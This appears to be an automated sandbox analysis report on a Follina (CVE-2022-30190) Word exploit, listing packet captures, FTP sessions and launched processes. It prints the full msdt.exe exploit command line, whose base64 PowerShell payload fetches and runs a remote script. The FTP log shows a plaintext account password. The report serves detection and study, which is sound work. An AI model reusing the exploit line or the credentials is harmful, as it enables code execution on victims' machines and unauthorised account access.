Sep 19, 2022 15:40:48.943491936 CEST	49713	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:48.990324974 CEST	21	49713	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:48.990521908 CEST	49713	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:48.991202116 CEST	49713	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:49.037404060 CEST	21	49713	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:49.037594080 CEST	49713	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:49.037916899 CEST	49714	30737	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:49.083631992 CEST	30737	49714	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:49.083859921 CEST	49714	30737	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:49.084264994 CEST	49713	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:49.130898952 CEST	21	49713	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:49.131032944 CEST	49713	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:49.159306049 CEST	49713	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:49.206475019 CEST	21	49713	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:49.206527948 CEST	30737	49714	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:49.206557989 CEST	49713	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:49.206562042 CEST	30737	49714	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:49.206585884 CEST	49714	30737	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:49.206593990 CEST	30737	49714	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:49.206614971 CEST	49714	30737	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:49.206620932 CEST	30737	49714	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:49.206634045 CEST	49714	30737	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:49.206645966 CEST	30737	49714	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:49.206660032 CEST	49714	30737	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:49.206665039 CEST	30737	49714	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:49.206681967 CEST	30737	49714	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:49.206690073 CEST	49714	30737	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:49.206698895 CEST	21	49713	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:49.206715107 CEST	49714	30737	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:49.206737041 CEST	49714	30737	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:49.207679033 CEST	49713	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:49.563174963 CEST	49708	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:49.608975887 CEST	21	49708	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:49.609227896 CEST	49708	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:49.609381914 CEST	49708	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:49.654644966 CEST	21	49708	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:49.654892921 CEST	49708	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:49.655077934 CEST	49708	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:49.700779915 CEST	21	49708	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:49.701051950 CEST	49708	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:49.701731920 CEST	49708	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:49.747291088 CEST	21	49708	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:49.747518063 CEST	49708	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:49.747656107 CEST	49708	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:49.793092012 CEST	21	49708	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:49.793314934 CEST	49708	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:49.793513060 CEST	49708	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:49.838869095 CEST	21	49708	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:49.839159012 CEST	49708	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:49.840792894 CEST	49714	30737	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:49.842441082 CEST	49716	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:49.886332989 CEST	30737	49714	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:49.887679100 CEST	21	49716	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:49.887793064 CEST	49716	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:49.935303926 CEST	21	49716	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:49.935432911 CEST	49716	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:49.935518980 CEST	49716	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:49.981725931 CEST	21	49716	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:49.981843948 CEST	21	49716	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:49.981980085 CEST	49716	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:49.982064009 CEST	49716	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:50.067444086 CEST	21	49716	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:54.705502033 CEST	21	49716	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:54.705657959 CEST	49716	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:54.711369991 CEST	49716	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:54.756901026 CEST	21	49716	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:54.757137060 CEST	49716	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:54.757474899 CEST	21	49716	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:54.757539988 CEST	49716	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:58.229079962 CEST	49717	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:58.274853945 CEST	21	49717	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:58.275073051 CEST	49717	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:58.322541952 CEST	21	49717	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:58.322654009 CEST	49717	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:58.322906017 CEST	49717	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:58.368654966 CEST	21	49717	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:58.368789911 CEST	21	49717	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:58.368890047 CEST	49717	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:58.373421907 CEST	49717	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:58.436585903 CEST	21	49717	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:58.436742067 CEST	49717	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:58.442109108 CEST	49717	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:58.490015030 CEST	21	49717	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:58.490122080 CEST	49717	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:58.490823030 CEST	49717	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:58.537239075 CEST	21	49717	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:58.537353992 CEST	49717	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:58.537612915 CEST	49718	19868	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:58.584278107 CEST	19868	49718	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:58.584436893 CEST	49718	19868	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:58.586107016 CEST	49717	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:58.638009071 CEST	21	49717	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:58.638113976 CEST	49717	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:58.638288975 CEST	49717	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:58.684463978 CEST	21	49717	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:58.684495926 CEST	19868	49718	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:58.684513092 CEST	19868	49718	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:58.684530020 CEST	19868	49718	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:58.684557915 CEST	19868	49718	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:58.684573889 CEST	19868	49718	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:58.684587002 CEST	19868	49718	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:58.684587002 CEST	49717	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:58.684601068 CEST	19868	49718	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:58.684613943 CEST	21	49717	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:58.684623003 CEST	49718	19868	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:58.684669971 CEST	49717	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:58.684675932 CEST	49718	19868	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:58.910063028 CEST	49718	19868	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:58.956592083 CEST	19868	49718	185.27.134.11	192.168.2.4
Sep 19, 2022 15:41:43.710398912 CEST	21	49709	185.27.134.11	192.168.2.4
Sep 19, 2022 15:41:43.710541964 CEST	49709	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:41:43.711097002 CEST	21	49709	185.27.134.11	192.168.2.4
Sep 19, 2022 15:41:43.711162090 CEST	49709	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:41:49.306410074 CEST	21	49713	185.27.134.11	192.168.2.4
Sep 19, 2022 15:41:49.306581974 CEST	49713	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:41:49.307404041 CEST	21	49713	185.27.134.11	192.168.2.4
Sep 19, 2022 15:41:49.307497025 CEST	49713	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:41:49.938441038 CEST	21	49708	185.27.134.11	192.168.2.4
Sep 19, 2022 15:41:49.938527107 CEST	49708	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:41:49.939285040 CEST	21	49708	185.27.134.11	192.168.2.4
Sep 19, 2022 15:41:49.939373970 CEST	49708	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:41:58.786429882 CEST	21	49717	185.27.134.11	192.168.2.4
Sep 19, 2022 15:41:58.786533117 CEST	49717	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:41:58.787384987 CEST	21	49717	185.27.134.11	192.168.2.4
Sep 19, 2022 15:41:58.787461042 CEST	49717	21	192.168.2.4	185.27.134.11

FTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Sep 19, 2022 15:40:42.956911087 CEST	21	49708	185.27.134.11	192.168.2.4	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 399 of 6900 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 399 of 6900 allowed.220-Local time is now 09:09. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 399 of 6900 allowed.220-Local time is now 09:09. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 399 of 6900 allowed.220-Local time is now 09:09. Server port: 21.220-This is a private system - No anonymous login220 You will be disconnected after 60 seconds of inactivity.
Sep 19, 2022 15:40:42.964186907 CEST	49708	21	192.168.2.4	185.27.134.11	USER epiz_32622638
Sep 19, 2022 15:40:43.009603977 CEST	21	49708	185.27.134.11	192.168.2.4	331 User epiz_32622638 OK. Password required
Sep 19, 2022 15:40:43.024054050 CEST	49708	21	192.168.2.4	185.27.134.11	PASS 9pTise0WWBCZj
Sep 19, 2022 15:40:43.085592985 CEST	21	49708	185.27.134.11	192.168.2.4	230-Your bandwidth usage is restricted 230-Your bandwidth usage is restricted230 OK. Current restricted directory is /
Sep 19, 2022 15:40:43.243460894 CEST	21	49709	185.27.134.11	192.168.2.4	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 402 of 6900 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 402 of 6900 allowed.220-Local time is now 09:09. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 402 of 6900 allowed.220-Local time is now 09:09. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 402 of 6900 allowed.220-Local time is now 09:09. Server port: 21.220-This is a private system - No anonymous login220 You will be disconnected after 60 seconds of inactivity.
Sep 19, 2022 15:40:43.245881081 CEST	49709	21	192.168.2.4	185.27.134.11	USER epiz_32622638
Sep 19, 2022 15:40:43.291946888 CEST	21	49709	185.27.134.11	192.168.2.4	331 User epiz_32622638 OK. Password required
Sep 19, 2022 15:40:43.292177916 CEST	49709	21	192.168.2.4	185.27.134.11	PASS 9pTise0WWBCZj
Sep 19, 2022 15:40:43.366152048 CEST	21	49709	185.27.134.11	192.168.2.4	230-Your bandwidth usage is restricted 230-Your bandwidth usage is restricted230 OK. Current restricted directory is /
Sep 19, 2022 15:40:43.373096943 CEST	49709	21	192.168.2.4	185.27.134.11	TYPE I
Sep 19, 2022 15:40:43.419137001 CEST	21	49709	185.27.134.11	192.168.2.4	200 TYPE is now 8-bit binary
Sep 19, 2022 15:40:43.423772097 CEST	49709	21	192.168.2.4	185.27.134.11	PASV
Sep 19, 2022 15:40:43.469614029 CEST	21	49709	185.27.134.11	192.168.2.4	227 Entering Passive Mode (185,27,134,11,75,73)
Sep 19, 2022 15:40:43.563700914 CEST	21	49709	185.27.134.11	192.168.2.4	213 6785
Sep 19, 2022 15:40:43.564273119 CEST	49709	21	192.168.2.4	185.27.134.11	RETR /wwwwwwwwwwwwwwwwwwww/smartscreen.html
Sep 19, 2022 15:40:43.610817909 CEST	21	49709	185.27.134.11	192.168.2.4	150-Accepted data connection 150-Accepted data connection150 6.6 kbytes to download
Sep 19, 2022 15:40:43.611103058 CEST	21	49709	185.27.134.11	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.000 seconds (measured here), 93.91 Mbytes per second
Sep 19, 2022 15:40:44.076782942 CEST	49708	21	192.168.2.4	185.27.134.11	CWD /wwwwwwwwwwwwwwwwwwww/
Sep 19, 2022 15:40:44.122600079 CEST	21	49708	185.27.134.11	192.168.2.4	250 OK. Current directory is /wwwwwwwwwwwwwwwwwwww
Sep 19, 2022 15:40:44.128467083 CEST	49708	21	192.168.2.4	185.27.134.11	PWD
Sep 19, 2022 15:40:44.173953056 CEST	21	49708	185.27.134.11	192.168.2.4	257 "/wwwwwwwwwwwwwwwwwwww" is your current location
Sep 19, 2022 15:40:44.174992085 CEST	49708	21	192.168.2.4	185.27.134.11	TYPE A
Sep 19, 2022 15:40:44.220525026 CEST	21	49708	185.27.134.11	192.168.2.4	200 TYPE is now ASCII
Sep 19, 2022 15:40:44.221657991 CEST	49708	21	192.168.2.4	185.27.134.11	PORT 192,168,2,4,194,47
Sep 19, 2022 15:40:44.267335892 CEST	21	49708	185.27.134.11	192.168.2.4	500 I won't open a connection to 192.168.2.4 (only to 84.17.52.43)
Sep 19, 2022 15:40:44.313391924 CEST	21	49708	185.27.134.11	192.168.2.4	500 Unknown command
Sep 19, 2022 15:40:44.314100981 CEST	49708	21	192.168.2.4	185.27.134.11	CWD /wwwwwwwwwwwwwwwwwwww/
Sep 19, 2022 15:40:44.359648943 CEST	21	49708	185.27.134.11	192.168.2.4	250 OK. Current directory is /wwwwwwwwwwwwwwwwwwww
Sep 19, 2022 15:40:44.465708017 CEST	21	49712	185.27.134.11	192.168.2.4	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 399 of 6900 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 399 of 6900 allowed.220-Local time is now 09:09. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 399 of 6900 allowed.220-Local time is now 09:09. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 399 of 6900 allowed.220-Local time is now 09:09. Server port: 21.220-This is a private system - No anonymous login220 You will be disconnected after 60 seconds of inactivity.
Sep 19, 2022 15:40:44.465914011 CEST	49712	21	192.168.2.4	185.27.134.11	USER anonymous
Sep 19, 2022 15:40:44.511527061 CEST	21	49712	185.27.134.11	192.168.2.4	331 User anonymous OK. Password required
Sep 19, 2022 15:40:44.511768103 CEST	49712	21	192.168.2.4	185.27.134.11	PASS IEUser@
Sep 19, 2022 15:40:48.642450094 CEST	21	49712	185.27.134.11	192.168.2.4	530 Login authentication failed
Sep 19, 2022 15:40:48.689951897 CEST	21	49712	185.27.134.11	192.168.2.4	530 Logout.
Sep 19, 2022 15:40:48.819525957 CEST	21	49713	185.27.134.11	192.168.2.4	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 393 of 6900 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 393 of 6900 allowed.220-Local time is now 09:09. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 393 of 6900 allowed.220-Local time is now 09:09. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 393 of 6900 allowed.220-Local time is now 09:09. Server port: 21.220-This is a private system - No anonymous login220 You will be disconnected after 60 seconds of inactivity.
Sep 19, 2022 15:40:48.819686890 CEST	49713	21	192.168.2.4	185.27.134.11	USER epiz_32622638
Sep 19, 2022 15:40:48.866864920 CEST	21	49713	185.27.134.11	192.168.2.4	331 User epiz_32622638 OK. Password required
Sep 19, 2022 15:40:48.867089987 CEST	49713	21	192.168.2.4	185.27.134.11	PASS 9pTise0WWBCZj
Sep 19, 2022 15:40:48.935882092 CEST	21	49713	185.27.134.11	192.168.2.4	230-Your bandwidth usage is restricted 230-Your bandwidth usage is restricted230 OK. Current restricted directory is /
Sep 19, 2022 15:40:48.943491936 CEST	49713	21	192.168.2.4	185.27.134.11	TYPE I
Sep 19, 2022 15:40:48.990324974 CEST	21	49713	185.27.134.11	192.168.2.4	200 TYPE is now 8-bit binary
Sep 19, 2022 15:40:48.991202116 CEST	49713	21	192.168.2.4	185.27.134.11	PASV
Sep 19, 2022 15:40:49.037404060 CEST	21	49713	185.27.134.11	192.168.2.4	227 Entering Passive Mode (185,27,134,11,120,17)
Sep 19, 2022 15:40:49.130898952 CEST	21	49713	185.27.134.11	192.168.2.4	213 6785
Sep 19, 2022 15:40:49.159306049 CEST	49713	21	192.168.2.4	185.27.134.11	RETR /wwwwwwwwwwwwwwwwwwww/smartscreen.html
Sep 19, 2022 15:40:49.206475019 CEST	21	49713	185.27.134.11	192.168.2.4	150-Accepted data connection 150-Accepted data connection150 6.6 kbytes to download
Sep 19, 2022 15:40:49.206698895 CEST	21	49713	185.27.134.11	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.000 seconds (measured here), 54.94 Mbytes per second
Sep 19, 2022 15:40:49.563174963 CEST	49708	21	192.168.2.4	185.27.134.11	CWD /wwwwwwwwwwwwwwwwwwww/
Sep 19, 2022 15:40:49.608975887 CEST	21	49708	185.27.134.11	192.168.2.4	250 OK. Current directory is /wwwwwwwwwwwwwwwwwwww
Sep 19, 2022 15:40:49.609381914 CEST	49708	21	192.168.2.4	185.27.134.11	PWD
Sep 19, 2022 15:40:49.654644966 CEST	21	49708	185.27.134.11	192.168.2.4	257 "/wwwwwwwwwwwwwwwwwwww" is your current location
Sep 19, 2022 15:40:49.655077934 CEST	49708	21	192.168.2.4	185.27.134.11	TYPE A
Sep 19, 2022 15:40:49.700779915 CEST	21	49708	185.27.134.11	192.168.2.4	200 TYPE is now ASCII
Sep 19, 2022 15:40:49.701731920 CEST	49708	21	192.168.2.4	185.27.134.11	PORT 192,168,2,4,194,51
Sep 19, 2022 15:40:49.747291088 CEST	21	49708	185.27.134.11	192.168.2.4	500 I won't open a connection to 192.168.2.4 (only to 84.17.52.43)
Sep 19, 2022 15:40:49.793092012 CEST	21	49708	185.27.134.11	192.168.2.4	500 Unknown command
Sep 19, 2022 15:40:49.793513060 CEST	49708	21	192.168.2.4	185.27.134.11	CWD /wwwwwwwwwwwwwwwwwwww/
Sep 19, 2022 15:40:49.838869095 CEST	21	49708	185.27.134.11	192.168.2.4	250 OK. Current directory is /wwwwwwwwwwwwwwwwwwww
Sep 19, 2022 15:40:49.935303926 CEST	21	49716	185.27.134.11	192.168.2.4	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 389 of 6900 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 389 of 6900 allowed.220-Local time is now 09:09. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 389 of 6900 allowed.220-Local time is now 09:09. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 389 of 6900 allowed.220-Local time is now 09:09. Server port: 21.220-This is a private system - No anonymous login220 You will be disconnected after 60 seconds of inactivity.
Sep 19, 2022 15:40:49.935518980 CEST	49716	21	192.168.2.4	185.27.134.11	USER anonymous
Sep 19, 2022 15:40:49.981843948 CEST	21	49716	185.27.134.11	192.168.2.4	331 User anonymous OK. Password required
Sep 19, 2022 15:40:49.982064009 CEST	49716	21	192.168.2.4	185.27.134.11	PASS IEUser@
Sep 19, 2022 15:40:54.705502033 CEST	21	49716	185.27.134.11	192.168.2.4	530 Login authentication failed
Sep 19, 2022 15:40:54.756901026 CEST	21	49716	185.27.134.11	192.168.2.4	530 Logout.
Sep 19, 2022 15:40:58.322541952 CEST	21	49717	185.27.134.11	192.168.2.4	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 415 of 6900 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 415 of 6900 allowed.220-Local time is now 09:09. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 415 of 6900 allowed.220-Local time is now 09:09. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 415 of 6900 allowed.220-Local time is now 09:09. Server port: 21.220-This is a private system - No anonymous login220 You will be disconnected after 60 seconds of inactivity.
Sep 19, 2022 15:40:58.322906017 CEST	49717	21	192.168.2.4	185.27.134.11	USER epiz_32622638
Sep 19, 2022 15:40:58.368789911 CEST	21	49717	185.27.134.11	192.168.2.4	331 User epiz_32622638 OK. Password required
Sep 19, 2022 15:40:58.373421907 CEST	49717	21	192.168.2.4	185.27.134.11	PASS 9pTise0WWBCZj
Sep 19, 2022 15:40:58.436585903 CEST	21	49717	185.27.134.11	192.168.2.4	230-Your bandwidth usage is restricted 230-Your bandwidth usage is restricted230 OK. Current restricted directory is /
Sep 19, 2022 15:40:58.442109108 CEST	49717	21	192.168.2.4	185.27.134.11	TYPE I
Sep 19, 2022 15:40:58.490015030 CEST	21	49717	185.27.134.11	192.168.2.4	200 TYPE is now 8-bit binary
Sep 19, 2022 15:40:58.490823030 CEST	49717	21	192.168.2.4	185.27.134.11	PASV
Sep 19, 2022 15:40:58.537239075 CEST	21	49717	185.27.134.11	192.168.2.4	227 Entering Passive Mode (185,27,134,11,77,156)
Sep 19, 2022 15:40:58.638009071 CEST	21	49717	185.27.134.11	192.168.2.4	213 6785
Sep 19, 2022 15:40:58.638288975 CEST	49717	21	192.168.2.4	185.27.134.11	RETR /wwwwwwwwwwwwwwwwwwww/smartscreen.html
Sep 19, 2022 15:40:58.684463978 CEST	21	49717	185.27.134.11	192.168.2.4	150-Accepted data connection 150-Accepted data connection150 6.6 kbytes to download
Sep 19, 2022 15:40:58.684613943 CEST	21	49717	185.27.134.11	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.000 seconds (measured here), 77.10 Mbytes per second
Sep 19, 2022 15:41:43.710398912 CEST	21	49709	185.27.134.11	192.168.2.4	421 Timeout - try typing a little faster next time
Sep 19, 2022 15:41:49.306410074 CEST	21	49713	185.27.134.11	192.168.2.4	421 Timeout - try typing a little faster next time
Sep 19, 2022 15:41:49.938441038 CEST	21	49708	185.27.134.11	192.168.2.4	421 Timeout - try typing a little faster next time
Sep 19, 2022 15:41:58.786429882 CEST	21	49717	185.27.134.11	192.168.2.4	421 Timeout - try typing a little faster next time

Target ID:	0
Start time:	15:40:36
Start date:	19/09/2022
Path:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x9e0000
File size:	1937688 bytes
MD5 hash:	0B9AB9B9C4DE429473D6450D4297A123
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	1
Start time:	15:40:42
Start date:	19/09/2022
Path:	C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE
Wow64 process (32bit):	true
Commandline:	C:\Program Files (x86)\Microsoft Office\Office16\MsoSync.exe
Imagebase:	0x890000
File size:	466688 bytes
MD5 hash:	EA19F4A0D18162BE3A0C8DAD249ADE8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Target ID:	2
Start time:	15:40:56
Start date:	19/09/2022
Path:	C:\Windows\SysWOW64\msdt.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\msdt.exe" ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'W05ldC5TZXJ2aWNlUG9pbnRNYW5hZ2VyXTo6U2VjdXJpdHlQcm90b2NvbCA9IFtOZXQuU2VjdXJpdHlQcm90b2NvbFR5cGVdJ1RsczExLFRsczEyJzsgJCgkeCA9IEludm9rZS1XZWJSZXF1ZXN0IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9taWNyb3NvZnR3aW5kb3dzZGVmZW5kZXIvLmNvbS9tYWluL3Bvd2VyLnBzMSAtVXNlQmFzaWNQYXJzaW5nOyBJbnZva2UtRXhwcmVzc2lvbiAkKCR4LkNvbnRlbnQpKTs='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO
Imagebase:	0x10f0000
File size:	1508352 bytes
MD5 hash:	7F0C51DBA69B9DE5DDF6AA04CE3A69F4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_PS1_Msdt_Execution_May22, Description: Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, Source: 00000002.00000002.612793085.00000000039F0000.00000004.00000020.00020000.00000000.sdmp, Author: Nasreddine Bencherchali, Christian Burkard Rule: JoeSecurity_Follina, Description: Yara detected Microsoft Office Exploit Follina / CVE-2022-30190, Source: 00000002.00000002.612793085.00000000039F0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: SUSP_PS1_Msdt_Execution_May22, Description: Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, Source: 00000002.00000002.610336977.0000000003320000.00000004.00000020.00020000.00000000.sdmp, Author: Nasreddine Bencherchali, Christian Burkard Rule: JoeSecurity_Follina, Description: Yara detected Microsoft Office Exploit Follina / CVE-2022-30190, Source: 00000002.00000002.610336977.0000000003320000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: SUSP_PS1_Msdt_Execution_May22, Description: Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, Source: 00000002.00000002.610475144.0000000003678000.00000004.00000020.00020000.00000000.sdmp, Author: Nasreddine Bencherchali, Christian Burkard Rule: SUSP_PS1_Msdt_Execution_May22, Description: Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, Source: 00000002.00000002.610430089.0000000003670000.00000004.00000020.00020000.00000000.sdmp, Author: Nasreddine Bencherchali, Christian Burkard Rule: JoeSecurity_Follina, Description: Yara detected Microsoft Office Exploit Follina / CVE-2022-30190, Source: 00000002.00000002.610430089.0000000003670000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate

Show Windows behavior

Target ID:	13
Start time:	15:41:37
Start date:	19/09/2022
